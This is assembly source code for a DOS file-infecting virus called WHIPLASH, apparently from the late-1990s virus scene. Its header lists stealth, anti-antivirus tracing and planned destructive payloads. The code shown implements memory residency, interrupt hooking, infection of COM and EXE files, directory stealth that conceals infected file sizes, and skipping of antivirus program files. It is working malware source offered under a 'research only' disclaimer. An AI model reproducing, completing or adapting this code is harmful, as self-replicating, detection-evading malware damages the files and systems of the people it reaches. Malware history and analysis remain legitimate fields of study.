; Ŀ
;      Following you have the original article, spell checked, arranged   
;      and... with God's help, bug checked...                             
;                                                                         
;                                      Lord Julus - Feb. 1999             
; 

;****************************************************************************;
;   The Virus WHIPLASH v.1.0 beta test release Variant A                     ;
;   Features:                                                                ;
;           - resident                                                       ;
;           - memory stealth                                                 ;                         ;
;           - directory stealth                                              ;
;           - auto-check thru the mouse interrupt                            ;
;           - traces down the original INT 21h to by-pass all AV's           ;
;   *       - auto encrypt-decrypt of the virus' INT 21 handler              ;
;   *         within the memory (anti tunneling)                             ;
;           - infects COM & EXE                                              ;
;           - encrypts and mutates using 3 encryption methods                ;
;           - activates on certain dates and after a program ran 500 times   ;
;   *        - destroys CMOS information on activation and sets a random     ;
;   *          password on CMOS if AWARD or AMI                              ;
;   *        - deletes the first 66 and last 6 sectors on activation         ;
;            - displays a text                                               ;
;   *        - continously reads and writes sector 0 (to trash it)           ;
;                                                                            ;
;   THIS SOURCE IS PROVIDED FOR VIRUS RESEARCH ONLY                          ;
;                                                                            ;
;   Written and compiled by Lord Julus (C)                                   ;
;   The author is not responsible for any damages done by the use of this    ;
;   source.                                                                  ;
;                                                                            ;
;   * - features not included with this beta test release                    ;
;   Tremendous thanks for this virus go to:                                  ;
;              Rock Steady, Nowhere Man, Dark Angel, Hellraiser,             ;
;              Azrael, Dark Avenger, MnemoniX  and  all the guys             ;
;              at [NuKE],  Phalcon/Skism,  Youths Against McAfee             ;
;****************************************************************************;

; This code is to be compiled with TASM 3.1 or better and TLINK 5.2
; from Borland International

.286
Code    Segment
        Assume CS:Code,DS:Code,ES:Code

        jumps                           ;handles jumps over the allowed bound

        Org  100h

START:
       Call GETBP
GETBP:
       Mov SI,SP             ;take the stack pointer location
       Mov AX,SS:[SI]        ;take the bp used as DELTA HANDLE for my virus
       Sub AX,Offset GETBP   ;subtract the length of the infected file
       Mov BP, AX            ;in order to address my variables correctly

       Jmp REALSTART         ;starting point

ENTRY: Stc                   ;this is a trinky entry point to screw
       Jc START              ;TBAV's F and J flags and to become
                             ;iremovable.

REALSTART:
       Cmp BP, 0                          ; first time I run this?
       Je ROCK                            ; if so, do not decrypt
       Call DECRYPT3                      ; else decrypt
       Jmp ROCK                           ; now start

;****************************************************************
;               PROCESS TO REMAIN RESIDENT
;****************************************************************

       Nop                    ;some NOP's are needed to correct
       Nop                    ;when I divide
STARTCOD123:                  ;This is where the code to be encrypted
       Nop                    ;starts
       Nop                    ;
ROCK:
       Call ACTION_1                 ;calls the action procedure
       Mov AX,0ABCDh                 ;call to my resident interrup mask
       Int 33h                       ;to check if I'm resident.
       Cmp BH,0DAh                   ;is bh = DAh?
       Jne NOEXIT_COM                ;no! jump and stay resident
       Jmp EXIT_COM                  ;yes! move on... and run the original
                                     ;program

       Jmp NODECRYPT          ;jump over the marker

mark1  Db 'WHIPLASH v.1.0 beta test release Variant A'
mark2  Db 'Written and compiled in Romania by Lord Julus'

NOEXIT_COM:
NODECRYPT:

;       Call CHECK_4_DANGER       ;checks wether there are dangers in memory
;       Jc EXIT_COM               ;split if something is out there

       Push DI                   ;save these registers as they are
       Push SI                   ;very important and I destroy them
       Push DS                   ;save the segments too
       Push ES

       Xor     BX,BX
       Push    CS                     ;Get CS=DS
       Pop     DS
       Mov     CX,ES
       Dec     CX                     ;Get my MCB at PSP - 1 (PSP = CS)
       Mov     ES,CX                  ;Put it in ES
       Mov     BX,ES:[3]              ;BX = total memory
       Mov     DX,(Offset FIN - Offset START + 15 + 52)*2 ;Size for virus
       Add     DX, 16                 ;add another paragraph
       Add     DX, 100h               ;and 100h for PSP
       Mov     CL,4                   ;Now divide by 16 to get memory in
       Shr     DX,CL                  ;paragraphs
       Add     DX,4
       Mov     CX,ES
       Sub     BX,DX                  ;now I shrink the total memory with
       Inc     CX                     ;my size
       Mov     ES,CX
       Mov     AH,4Ah                 ;Call int to do it...
       Int     21h
       Jc      EXIT_COM

       Mov     AH,48h
       Dec     DX                     ;lower one paragraph
       Mov     BX,DX                  ;
       Int     21h                    ;and request memory from DOS
       Jc      EXIT_COM

       Dec     AX                     ;ax - 1 = my new MCB
       Mov     ES,AX

       Mov Byte Ptr ES:[1],8           ;put '8' in the segment
                                       ;(owned by MSDOS)
       Mov Byte Ptr ES:[0],'M'         ;mark it as a non-final block

       Mov     DI,08                   ;ES:[08] ... ES:[15] = owner's name
       Mov     SI,Offset virname       ;write it as 'MSDOS'
       Push    CS
       Pop     DS
       Mov     CX,4
       Repnz   Movsw                   ;Copy name into field.

       Inc AX                          ;
       Mov ES,AX                       ;es = new segment where virus will stay
       Lea SI, [BP + Offset START]     ;si = start of virus
       Mov DI,100h                     ;di = 100H (psp position)
       Push CS                         ;
       Pop DS                          ;ds = cs
       Mov CX, FIN - START             ;cx = length of virus
       Rep Movsb                       ;move the virus into it's new
                                       ;location

;**************************************************************************;
;                        HOOK THE INTERRUPTS                               ;
;**************************************************************************;

       Cli                                     ; disable interrupts
       Xor     AX,AX                           ;now hook the int 21h
       Mov     DS,AX                           ;ds=0000
       Mov     SI,21h*4                        ;save the old int 21H vector
       Mov     DI,Offset oldint21              ;into my variable
       Movsw                                   ;just 2 words
       Movsw                                   ;
       Mov     SI,21h*4                        ;save the old int 21H vector
       Mov     DI,Offset oldint21_2            ;into another variable
       Movsw                                   ; [oldint21] will be the
       Movsw                                   ; original DOS interrupt
                                               ; [oldint21_2] will make the
                                               ; interrupt chain

       Mov AX, DS:[01h*4]                      ;Here I save int01's address
       Mov Word Ptr CS:[oldint01], AX          ;to be able to restore it
       Mov AX, DS:[01h*4+2]
       Mov Word Ptr CS:[oldint01+2], AX

       Mov     AX,Offset INT01H                ;and set up new interrupt 01H
       Mov     BX,01h*4                        ;
       Mov Word Ptr DS:[BX],AX                 ;the segment...
       Mov AX,ES                               ;
       Mov Word Ptr DS:[BX+2],AX               ;and the offset...
       Sti                                     ;enable interrupts

       Xor AX, AX
       Mov DS, AX                              ;DS=0000
       Pushf                                   ;save flags
       Mov AX, 100h                            ;set the step-by-step flag
       Push AX                                 ;push it
       Popf                                    ;and pop the flags

       Mov AH, 30                              ;make a fake call to INT 21h
       Pushf                                   ;and after each instruction
       Call    Dword Ptr DS:[21h * 4]          ;an INT01 will be generated

       Popf                                    ;restore flags

       Xor AX, AX                              ;ds=0000 again
       Mov DS, AX

       Cli

       Mov AX, Word Ptr CS:[oldint01]           ;put INT01 back
       Mov Word Ptr DS:[01h*4], AX              ;otherwise there will be
       Mov AX, Word Ptr CS:[oldint01+2]         ;nasty conflicts
       Mov Word Ptr DS:[01h*4+2], AX

       Mov     AX,Offset INT21H                ;and set up new interrupt 21H
       Mov     BX,21h*4                        ;
       Mov Word Ptr DS:[BX],AX                 ;the segment...
       Mov AX,ES                               ;
       Mov Word Ptr DS:[BX+2],AX               ;and the offset...

       Xor     AX,AX                           ;now hook the int 33h
       Mov     DS,AX
       Mov     SI,33h*4                        ;save the old int 33H vector
       Mov     DI,Offset oldint33
       Movsw
       Movsw
       Mov     AX,Offset INT33H                ;and set up new interrupt 33H
       Mov     BX,33h*4                        ;
       Mov Word Ptr DS:[BX],AX                 ;
       Mov AX,ES
       Mov Word Ptr DS:[BX+2],AX
       Push CS                                 ;restore ds
       Pop DS                                  ;
       Sti                                     ;enable interrupts

       Pop ES
       Pop DS
       Pop SI                                  ;restore those 2 very important
       Pop DI                                  ;registers

;**************************************************************************;
;                          Exit from a COM or EXE file                     ;
; Now I get out of my virus. If it is the first run it will end, otherwise ;
; it will start the original infected program                              ;
;**************************************************************************;

EXIT_COM:
       Mov DI, CS:[BP + Offset wrd]        ;is it an EXE file?
       Cmp DI, 5A4Dh
       Je      EXIT_EXE                    ;It's an EXE file...
       Push CS
       Pop ES
       Cmp BP, 0                           ;is this the first run?
       Je  DOS_EXIT                        ;yes, just quit!
       Mov AX, Word Ptr CS:[BP+buff]       ;put back the 6 bytes I destroyed
       Mov Word Ptr CS:[100h], AX          ;in the com file
       Mov AX, Word Ptr CS:[BP+buff+2]     ;at address 100h,
       Mov Word Ptr CS:[102h], AX          ;at address 102h,
       Mov AX, Word Ptr CS:[BP+buff+4]
       Mov Word Ptr CS:[104h], AX          ;and at 104h

       Mov AX, 100h                        ;ax=original com entry point
       Jmp AX                              ;and jump to 100h to execute it

DOS_EXIT:
        Mov AH, 4Ch                        ;Dos exit function
        Int 21h                            ;(notice that this is also hooked
                                           ;by my INT21 handler so no AV
                                           ;will ever say: 'Program is about
                                           ;to stay resident', or crap like
                                           ;that!)
EXIT_EXE:
         Mov     BX,Word Ptr CS:[buff+22][BP]    ;Loads CS register
         Mov     AX,CS                           ;Move current CS in AX
         Sub     AX,BX                           ;Subtract for alinment
         Mov     DX,AX
         Add     AX,Word Ptr CS:[jmpsave2+2][BP]     ;Get ORIGINAL CS
         Add     DX,Word Ptr CS:[stacksave2+2][BP]   ;Get ORIGINAL SS
         Mov     BX,Word Ptr CS:[jmpsave2  ][BP]     ;Get ORIGINAL IP

         Mov     Word Ptr CS:[JUMPNOW][BP],BX        ;Put IP back
         Mov     Word Ptr CS:[JUMPNOW+2][BP],AX      ;Put CS (Reverse Order)
         Mov     AX,Word Ptr CS:[stacksave2][BP]     ;Get ORIGNAL SP
         Mov     Word Ptr CS:[MAKESTACK1][BP],DX     ;Put SS
         Mov     Word Ptr CS:[MAKESTACK2][BP],AX     ;Put SP
         Jmp $+2                                     ;a delay
         Jmp $+2                                     ;to settle things

         Db      0B8h         ;The Byte `B80000' is really a MOV AX,????
MAKESTACK1:                   ;???? is the Value of SS that we will put into
         Dw      0            ;THIS LINE!
         Cli                  ;Disable Interrupts (No Jamming)
         Mov     SS,AX        ;Mov the AX (really SS) into SS register
         Db      0BCh         ;Byte `BC0000' is really a MOV SP,????
MAKESTACK2:                   ;???? is the Value of SP that we will put into
         Dw      0            ;THIS LINE!!
         Sti                  ;Enable Interrupts
         Db      0EAh         ;The Byte `EA00000000' is a JMP CS:IP How ever
JUMPNOW:                      ;IP comes FIRST then CS (Reverse Order) And then
         Dd      0            ;the Virus does the JMP CS:IP to the Original
                              ;entry point.

jmpsave2            Dd 0FFF00000h       ; original CS:IP
stacksave2          Dd ?                ; original SS:SP

DOS_INT_21:
       Pushf                          ;here I invoke the
       Call Dword Ptr CS:[oldint21]   ;original INT 21h (in the DOS seg.)
       Ret

;*****************************************************************
;*             HANDLER FOR THE INT 01H
;*****************************************************************

INT01H:                               ;this is only used to trace down INT21h
      Push BP                         ;save BP
      Mov BP, SP                      ;get stack point
      Push AX                         ;save ax

      Mov AX, [BP+4]                    ;get the segment from stack
      Cmp AX, Word Ptr CS:[oldint21+2]  ;is the seg. in [oldint21] different?
      Jae Exit                          ;no! still same segment
      Mov Word Ptr CS:[oldint21+2],AX   ;Yes, it changed! save it
      Mov AX, [BP+2]
      Mov Word Ptr CS:[oldint21], AX    ;and save the new IP too!
Exit:
      Pop AX                            ;restore and split!
      Pop BP
      Iret

;*****************************************************************
;*             HANDLER FOR THE INT 21H
;*****************************************************************

INT21H:
        Cmp AH, 4Ch                  ; is it a DOS EXIT ?
        Jne NEEE                     ; (notice that I do not handle INT 20h
        Pushf                        ; exit.
        Call Dword Ptr CS:[oldint21] ; call orig. DOS int.
        Ret

NEEE:
        Cmp AH, 4Bh                  ; a file is executed ?
        Je INFECT                    ; let's infect it...

        Cmp AH, 3Dh                  ; a file is to be opened using handler ?
        Je INFECT_1                  ; maybe it's an exe or com...

        Cmp AH, 0Fh                  ; a file is to be opened using FCB ?
        Je INFECT_2                  ; again, maybe it's and executable

        Cmp AH, 6Ch                  ; a file is about to be opened with
        Je INFECT_3                  ; the extend open function

        Cmp AH, 11h                  ;these handle the dir stealth
        Je HIDEME1                   ;using the FCB method
        Cmp AH, 12h
        Je HIDEME1

        Cmp AH, 4Eh                  ;and these handle the dir stealth
        Je HIDEME2                   ;using the FIND FIRST / NEXT
        Cmp AH, 4Fh                  ;method
        Je HIDEME2

INT21ORIG:
       Jmp Dword Ptr CS:[oldint21_2]  ;jmp to original int 21h
       Ret                            ;(the one in the chain, not DOS')

;*****************************************************************

;*****************************************************************
;  HANDLER FOR INT 33H
;*****************************************************************

INT33H:                          ;this is my multiplex interrupt
       Cmp AX,0ABCDh             ;is ax = ABCD ? (check if resident)
       Jne NO                    ;no! jump to original int 33
       Mov BH,0DAh               ;yes! put DA in bh
       Iret                      ;get out with the result

NO:
      Jmp Dword Ptr CS:[oldint33]    ; jump to the original INT 33
      Ret
;*****************************************************************

;*****************************************************************
;  The Directory stealth procedures
;*****************************************************************

HIDEME1:
                Pushf
                Call    Dword Ptr CS:[oldint21]          ;get dir entry
                Test    AL,AL                            ;now test
                Js      DIR_STEALTH_DONE                 ;no need !

                Push    AX BX ES                         ;save registers
                Mov     AH,2Fh                           ;get DTA
                Int     21h

                Cmp     Byte Ptr ES:[BX],-1     ; check for extended FCB
                Jne     NO_EXT_FCB              ; no case!
                Add     BX,7                    ; add if it is extended FCB
NO_EXT_FCB:
                Mov     AX,ES:[BX + 17h]        ; check for infection marker
                And     AL,31
                Cmp     AL, Byte Ptr CS:[stamp]
                Jne     DIR_FIXED               ; not infected !

                Mov AX, (Offset FIN - Offset START)  ;check if it's not just
                Cmp AX, Word Ptr ES:[BX + 1Dh]       ;a coincidence...
                Jg DIR_FIXED
                                                     ;substr. size of my vir.

                Sub     Word Ptr ES:[BX + 1Dh],(Offset FIN - Offset START)
                Sbb     Word Ptr ES:[BX + 1Fh],0
DIR_FIXED:
                Pop     ES BX AX                     ;restore
DIR_STEALTH_DONE:
                Iret

HIDEME2:                                        ;this is much like Hideme1
                Pushf
                Call    Dword Ptr CS:[oldint21]
                Jc      DIR_STEALTH_DONE_2

CHECK_INFECT2:
                Push    AX BX ES

                Mov     AH,2Fh
                Int     21h
                Mov     AX,ES:[BX + 16h]
                And     AL,31                   ; check timestamp
                Cmp     AL,Byte Ptr CS:[stamp]
                Jne     FIXED_2

                Mov AX, (Offset FIN - Offset START)
                Cmp AX, ES:[BX + 1Ah]
                Jg FIXED_2
                Sub     ES:[BX + 1Ah],(Offset FIN - Offset START)
                Sbb     Word Ptr ES:[BX + 1Ch],0

FIXED_2:
                Pop     ES BX AX
                Clc                             ; clear carry
DIR_STEALTH_DONE_2:
                Retf    2

;*****************************************************************;
; Area used as a STACK to save the original registers             ;
;*****************************************************************;

flags Dw ?
aax   Dw ?
bbx   Dw ?
ccx   Dw ?
ddx   Dw ?
ssi   Dw ?
ddi   Dw ?
ees   Dw ?
dds   Dw ?

fcb_filename Db 15 Dup (?)           ; used to create a pointer as DS:DX
pushdxflag Db 0                      ; a flag for DX
pushdsflag Db 0                      ; a flag for DS

;*************************************************************;
;  Here starts the infection procedure                        ;
;*************************************************************;
INFECT_3 :                                ; handles extend open
       Push DX                            ; in extend open the filename is
       Push DS                            ; pointed by DS:SI, so I have to
       Push SI                            ; make it to be pointed by DS:DX
       Mov DX, SI                         ; and so I do...
       Call CHECKNAME                     ; I check if it's and EXE or COM
       Pop SI
       Pop DS
       Jc OK1                             ; yes, I can infect this one!
       Pop DX
       Jmp INT21ORIG
OK1:
       Mov CS:[pushdxflag], 1             ; but I leave DX on stack so I
                                          ; mark the flag to POP DX later

       Mov DX, SI                         ; now I have DS:DX = filename
       Jmp INFECT                         ; infect it !

INFECT_2 :                                ; for files opened with FCB
       Push DX                            ; this is more difficult as the
       Push DI                            ; filename is in FCB as 'xxxxxxxx'
       Push AX                            ; the name and 'yyy' the ext.
       Mov DI, DX
       Mov AH, Byte Ptr DS:[DI]           ; I check if it's an ext. FCB
       Cmp AH, -1
       Jne NOT_EXT
       Add DX, 7                          ; and if so I add 7
NOT_EXT:
       Add DX, 1                          ; filename is at FCB+1
       Mov DI, DX                         ; now I'm about to create a name
       Push SI                            ; and first I have the name
       Mov SI, Offset fcb_filename        ; which I'm about to put in
       Mov CX, 8                          ; FCB_filename (8 bytes long)
NOTREADY:
       Cmp Byte Ptr DS:[DI],' '           ; this marks the end of name
       Je  OUT1                           ; so out !
       Mov AH, Byte Ptr DS:[DI]           ; otherwise I copy from FCB
       Mov Byte Ptr CS:[SI], AH           ; and put into FCB_filename
       Inc SI                             ; incrementing the pointers
       Inc DI
       Loop NOTREADY
OUT1:
       Mov Byte Ptr CS:[SI],'.'           ; not I add the '.'
       Mov CX, 3
       Add DX, 8                          ; inc DX by 8 to point to the
       Mov DI, DX                         ; extension and put it in DI
       Inc SI
NOTREADY2:
       Cmp Byte Ptr DS:[DI],' '           ; again I compare with #32
       Je  OUT2
       Mov AH, Byte Ptr DS:[DI]           ; otherwise I simply copy
       Mov Byte Ptr CS:[SI], AH           ; bytes, but of course maximum
       Inc SI                             ; 3
       Inc DI
       Loop NOTREADY2
OUT2:
       Pop SI                             ;
       Mov SI, DX                         ; now SI = FCB_filename
       Pop AX                             ; clear stack
       Pop DI                             ;
       Push SI                            ;
       Call CHECKNAME_2                   ; and check if it's EXE or COM
       Pop SI
       Pop DX
       Jnc INT21ORIG                      ; if not run original INT 21h
       Push DS                            ; now I have to save these
       Push DX                            ; two registers that will get lost
       Mov [pushdxflag], 1                ; and set the flags to pop them
       Mov [pushdsflag], 1                ; later
       Push CS                            ; because, as I said in the INFECT
       Pop DS                             ; routine, the filename must be
       Mov DX, Offset fcb_filename        ; at DS:DX
       Jmp INFECT

INFECT_1 :                                ; for files opened with handler
       Push SI                            ; this is simple because DS:DX
       Call CHECKNAME                     ; point to filename
       Pop SI                             ; so I check if it's EXE or COM
       Jnc  INT21ORIG                     ; no ! go back !

INFECT:                                   ; this is the main routine that
                                          ; infects a file with the name at
                                          ; DS:DX

       Mov CS:[aax], AX                   ; save the registers first
       Mov CS:[bbx], BX                   ; in my stack
       Mov CS:[ccx], CX
       Mov CS:[ddx], DX
       Mov CS:[ddi], DI
       Mov CS:[ssi], SI
       Mov AX, DS
       Mov CS:[dds], AX
       Mov AX, ES
       Mov CS:[ees], AX
       Pushf                              ; and the flags too
       Pop AX
       Mov CS:[flags], AX

       Push CS                    ;get DS=CS
       Pop DS                     ;
       Mov AX,3524h               ;get the dos error control
       Int 21h                    ;interrupt
       Mov Word Ptr errorh,ES     ;and put it in cs:error
       Mov Word Ptr errorh+2,BX   ;
       Mov AX,2524h               ;change the dos error control
       Mov DX,Offset INT24        ;so I don't get 'Abort, Retry, Ignore'
       Int 21h                    ;

       Push ES                           ;Since I'm gonna start
       Mov AH, 2Fh                       ;with disk operations I save the
       Int 21h                           ;DTA to preserve the command lines
       Mov Word Ptr CS:[old_dta], BX     ;and other stuff
       Mov Word Ptr CS:[old_dta+2], ES
       Push DS
       Push CS
       Pop DS
       Lds DX, [BP+Offset dta]
       Mov AH, 1Ah                       ;set the new DTA
       Int 21h                           ;(a 2Ch word long zone)
       Pop DS
       Pop ES

       Call REMAKETHEM       ; this is a call used to restore the registers

       Mov AX,4300h                 ;get the file's
       Int 21h                      ;atributes
       Jc ERROR
       Mov Word Ptr CS:[attrib],CX
       Cmp CX, 0                    ; atributes = already normal ?
       Je NOATTR                    ; then skip a INT 21 for speed

       Mov AX,4301h                 ;otherwise I will
       Xor CX,CX                    ;set the attributes
       Int 21h                      ;to normal
       Jc ERROR
NOATTR:
       Call REMAKETHEM               ;again restore registers

       Mov AX,3D02h                  ;open the file
       Call DOS_INT_21               ;for read/write (using the original
                                     ;DOS interrupt)
       Jnc NOSTOPIT                  ;there was no error !
       Jmp ERROR                     ;there was an error !

NOSTOPIT:
       Mov BX,AX                     ;bx=handle for the opened file
       Mov Word Ptr CS:[handle], BX  ;preserve handle
       Call CHECKFILE                ;this checks if file is an AV...
       Jc ERROR                      ;which I don't want to infect !

       Mov AX,5700h                ;get the file time and date
       Int 21h                     ;
       Jc ERROR
       Mov Word Ptr CS:[hour],CX   ;save the hour
       Mov Word Ptr CS:[day],DX    ;save the day

       Push CS                     ;
       Pop DS                      ;
       Mov AH,3Fh                  ;
       Mov CX,20h                  ;read the 20h first bytes
       Lea DX,CS:[buff]            ;put the bytes in cs:[buff]
       Int 21h                     ;to be able to run the original program
       Jc ERROR                    ; error, dude...

       Mov AL, CS:[buff]           ;here I save the first 2 bytes
       Mov AH, CS:[buff+1]         ;as a safety thigie
       Mov [wrd], AX

       Mov AX, 4202h               ;this moves the file pointer to
       Call CHGPTR                 ;the end of file and dword
                                   ;at DX:AX = filesize

       Cmp     Word Ptr CS:[buff],5A4Dh       ;Is it an EXE file ?
       Je      INFECTEXE                      ;JMP to EXE Infector

       Push CS                     ;make ds point to cs
       Pop DS                      ;

       Cmp Byte Ptr CS:[buff+3],'F' ;is file already infected?
       Jne CONTINUE                 ;no!
       Jmp STOPIT                   ;yes!

CONTINUE:
       Mov AX,4202h                ;move the pointer to end
       Call CHGPTR                 ;of the file

       Push CS                     ;I now calculate the length of the
       Pop DS                      ;host and I put it in the hostlen
       Sub AX,3                    ;variable. It is the file length - 3
       Add AX, (Offset ENTRY - Offset START) ;+ tricky entry point
       Mov Word Ptr CS:[hostlen],AX

INFECTCOM:                 ;it's a COM !
       Mov AX,4200h        ;move the pointer
       Call CHGPTR         ;to start of file
       Push CS             ;
       Pop DS              ;
       Mov AH,40h          ;
       Mov CX,1            ;write the JMP
       Lea DX,CS:[jump]    ;instruction in the
       Call DOS_INT_21     ;fist byte of the file
       Jc ERROR

       Mov AH,40h          ;write the value of jmp
       Mov CX,2            ;in the file = length of host - 3 + entry len
       Lea DX,CS:[hostlen] ;as saved in hostlen variable
       Call DOS_INT_21
       Jc ERROR
       Mov AH, 'F'                     ; infection marker
       Mov Byte Ptr CS:[address], 'F'  ; mark as infected
       Mov AH, 40h                     ; now write it to file
       Mov CX, 2
       Lea DX, CS:[address]
       Call DOS_INT_21
       Jc ERROR

       Mov AX,04202h      ;move the pointer to
       Call CHGPTR        ;end of file

       Pushf              ;now I have to save the registers on
       Pusha              ;the real stack because I'll
       Push BP            ;destroy them
       Push DI
       Push SI
       Push ES
       Push DS

       Call MOVEVIRUS              ; move virus to end of cs to encrypt
       Call ENCRYPTROUTINE         ; call the encryption routine

       Pop DS                   ;now restore the registers
       Pop ES
       Pop SI
       Pop DI
       Pop BP
       Popa
       Popf                     ;and the flags

       Call WRITEVIRUS          ; call the routine to write the virus to file
       Jc ERROR                 ; error... it happens!
       Jmp STOPIT               ; we are over !

INFECTEXE:                      ; here we infect an EXE file

       Cmp Word Ptr CS:[buff+12h], 'F'      ;check if infected
       Je STOPIT                            ;already infected !
       Cmp Word Ptr CS:[buff+1Ah], 1        ;check if
       Je ERROR                             ;exe has overlays (which is
                                            ;bad, BTW)

       Mov Word Ptr CS:[BP+filesize  ], AX      ;save filesize from DX:AX
       Mov Word Ptr CS:[BP+filesize+2], DX      ;

       Les  AX, Dword Ptr [BP+buff+14h]         ;Save old entry point
       Mov  Word Ptr [BP+jmpsave2], AX          ;in jmpsave2
       Mov  Word Ptr [BP+jmpsave2+2], ES

       Les  AX, Dword Ptr [BP+buff+0Eh]         ;Save old stack
       Mov  Word Ptr [BP+stacksave2],ES         ;in stacksave2
       Mov  Word Ptr [BP+stacksave2+2], AX

;Here I check wether I have room within this exe or not

       Mov AX, Word Ptr CS:[BP+buff+06h]   ;nr. of relocation items
       Inc AX                              ;add a new one (the virus)
       Mov CX, 4                           ;each one is 4 bytes long
       Mul CX                              ;so multiply by 4
                                           ;result in -> DX:AX

       Add AX, Word Ptr CS:[BP+buff+18h]   ;add offset of Relocation Table
       Adc DX, 0                           ;with carry, of course

       Mov DI, DX                          ;store them for now
       Mov SI, AX

       Mov AX, Word Ptr CS:[BP+buff+18h]   ;now get the Relocation table
       Mov CX, 10h                         ;and multiply it by 16
       Mul CX                              ;as it is in paragraphs
                                           ;result in -> DX:AX

       Sub AX, SI                          ;and now compare
       Sbb DX, DI
       Jae OK_3                            ;it's OK!
       Jmp ERROR                           ;No, I can't infect this file!
OK_3:
       Inc CS:[BP+buff+06]                 ;Inc number of relocation items

       Mov AX, Word Ptr CS:[BP+filesize  ]      ;restore filesize in DX:AX
       Mov DX, Word Ptr CS:[BP+filesize+2]      ;

       Mov BX, Word Ptr CS:[BP+buff+08h]      ;get header size,
       Mov  CL, 4                             ;convert it to bytes
       Shl  BX, CL

       Sub AX, BX                             ;substract header size
       Sbb DX, 0                              ;from filesize

       Call DIV_16                            ;convert to seg:offs
                                              ;div by 16

       Mov  Word Ptr [BP+buff+14h], DX        ;New entry point
       Mov  Word Ptr [BP+buff+16h], AX

       Mov  Word Ptr [BP+buff+0Eh], AX        ;and stack (same segment)
       Add DX, (FIN-START)+100h               ;SP = IP + virus_size + 256
       Mov AX, DX                             ;now I look and see if...
       Shr AX, 1                              ;  (this is ax / 2)
       Shl AX, 1                              ;  (this is ax * 2)
       Cmp AX, DX                             ;...I got an odd SP
       Je OK_1
       Inc DX                                   ;if so, just add 1
OK_1:
       Mov  Word Ptr [BP+buff+10h], DX          ;New SP

;Although I make sure there is no odd stack, TBAV keeps giving the K flag,
;e.g. 'Unusual stack', and I don't know why... YET !!

       Mov AX, Word Ptr CS:[BP+filesize  ]      ;restore filesize in DX:AX
       Mov DX, Word Ptr CS:[BP+filesize+2]      ;

       Add  AX, FIN-START                       ;add virus size
       Adc  DX, 0                               ;propagate carry

       Mov  CL, 9                               ;2**9 = 512
       Push AX                                  ;make filesize in pages
       Shr  AX, CL
       Ror  DX, CL
       Stc
       Adc  DX, AX                              ;filesize in pages
       Pop  AX
       And  AH, 1                               ;mod 512

       Mov  Word Ptr [BP+buff+4], DX            ;new file size
       Mov  Word Ptr [BP+buff+2], AX

;now I correct a possible given by a MINMEM > MAXMEM

       Add     Word Ptr CS:[buff+10],(FIN-START)/16+1   ;min para
       Mov     AX,Word Ptr CS:[buff+10]                 ;ax=min para needed
       Cmp     AX,Word Ptr CS:[buff+12]                 ;cmp with max para
       Jb SIZE_OK                                       ;it's ok!
       Mov     Word Ptr CS:[buff+12],AX                 ;nop, enter new max
SIZE_OK:
       Mov Word Ptr CS:[buff+12h], 'F'                  ;mark as infected

       Pushf              ;now I have to save the registers on
       Pusha              ;the real stack because I'll
       Push BP            ;destroy them
       Push DI
       Push SI
       Push ES
       Push DS

       Call MOVEVIRUS              ; move virus to end of cs to encrypt
       Call ENCRYPTROUTINE         ; call the encryption routine

       Pop DS                   ;now restore the registers
       Pop ES
       Pop SI
       Pop DI
       Pop BP
       Popa
       Popf                     ;and the flags

       Pushf              ;now I have to save the registers on
       Pusha              ;the real stack because I'll
       Push BP            ;destroy them
       Push DI
       Push SI
       Push ES
       Push DS

       Mov AX, 4202h
       Mov BX, Word Ptr CS:[handle]
       Call CHGPTR
       Call WRITEVIRUS          ;call the routine to write the virus to file
       Jc ERROR

       Pop DS                   ;now restore the registers
       Pop ES
       Pop SI
       Pop DI
       Pop BP
       Popa
       Popf                     ;and the flags

       Mov AX, 4200h                   ;move pointer to beginning of file
       Mov BX, Word Ptr CS:[handle]    ;restore lost handle
       Call CHGPTR

       Mov     AH,40h                  ;Write NEW EXE Header back
       Mov     DX,Offset DS:[buff]     ;to EXE File! Points to
       Mov     CX,20h                  ;The Virus Now!!!
       Call DOS_INT_21
       Jc ERROR

       Jmp     STOPIT                  ;that's over with no error

an_error        Db      0               ;error flag

ERROR:  Mov Byte Ptr CS:[an_error], 1   ;sets error flag
STOPIT:                                 ;we are over

       Mov AX,5701h                     ;restore the file's
       Mov CX,Word Ptr CS:[hour]        ;date and time
       Mov DX,Word Ptr CS:[day]         ;
       Cmp Byte Ptr CS:[an_error], 1    ;if there was an error don't mark file
       Je JUMP1
       And CL, -32                      ;now I mask the seconds
       Or CL, Byte Ptr CS:[stamp]       ;so file is marked as infected
       Int 21h                          ;
JUMP1:
       Mov Byte Ptr CS:[an_error], 0    ;reset error flag
       Mov AH,3Eh                       ;
       Call DOS_INT_21                  ;close the file

       Call REMAKETHEM

       Pusha                           ;
       Mov AX,4301h                    ;restores the atributes
       Mov CX,Word Ptr CS:[attrib]     ;of the file
       Int 21h                         ;
       Popa                            ;

       Push DS                         ;restore the DTA
       Push CS
       Pop DS
       Lds DX, [BP+Offset old_dta]
       Mov AH, 1Ah
       Int 21h
       Pop DS

       Mov AX,2524h                    ;
       Lea BX,errorh                   ;restore the
       Mov DS,BX                       ;errors handler
       Lea BX,errorh+2                 ;
       Int 21h                         ;

       Call REMAKETHEM

       Cmp CS:[pushdxflag], 1            ; do I have to pop dx ?
       Jne NO1
       Pop DX                            ; yes, do it !
       Mov CS:[pushdxflag], 0
NO1:
       Cmp CS:[pushdsflag], 1            ; do I have to pop ds ?
       Jne NO2
       Pop DS                            ; that too, do it !
       Mov CS:[pushdsflag], 0
NO2:

       Jmp INT21ORIG                    ;now jump to the original int 21h

;**************************************************************************;
;     End of infection routine                                             ;
;**************************************************************************;

;**************************************************************************;
;    A zone with procedures I need                                         ;
;**************************************************************************;
MUL_16:                   ;All the crap here actually multiplies dword
    Push CX               ;in DX:AX by 16.
    Push BX               ;Check out Peter Norton's Advanced Assembly
    Mov CL, 4             ;Language for more shortcuts like this one.
    Shl DX, CL            ;
    Mov BX, AX            ;Plus, I'll never get 'Divide overflow'
    And BX, 0F000h        ;with my routine here.
    Mov CL, 0Ch
    Shr BX, CL
    Or DX, BX
    Mov CL, 4
    Shl AX, CL
    Pop BX
    Pop CX
    Ret

DIV_16:                   ;This divides dword at DX:AX by 16
    Push CX               ;using the same technique.
    Push BX
    Push AX
    And AX, 0000Fh
    Mov BX, AX
    Pop AX
    Mov CL, 04h
    Shr AX, CL
    Mov CL, 0Ch
    Shl DX, CL
    Or AX, DX
    Mov DX, BX
    Pop BX
    Pop CX
    Ret

comp Db 2,'TB'          ;these are parts of filenames
     Db 2,'tb'          ;I don't want to infect
     Db 2,'F-'
     Db 2,'f-'
     Db 4,'SCAN'
